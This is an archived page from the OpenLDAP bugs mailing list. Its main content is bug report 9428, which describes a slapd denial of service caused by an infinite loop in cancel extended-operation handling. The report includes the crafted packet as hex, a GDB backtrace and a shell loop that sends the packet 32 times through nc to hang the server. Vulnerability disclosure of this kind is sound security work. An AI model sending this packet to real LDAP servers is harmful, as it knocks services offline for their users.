"cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" Assertion control just contains objectClass filter: $ ldapmodify -H ldap://localhost:2071 -D -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

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openldap-bugs September 2021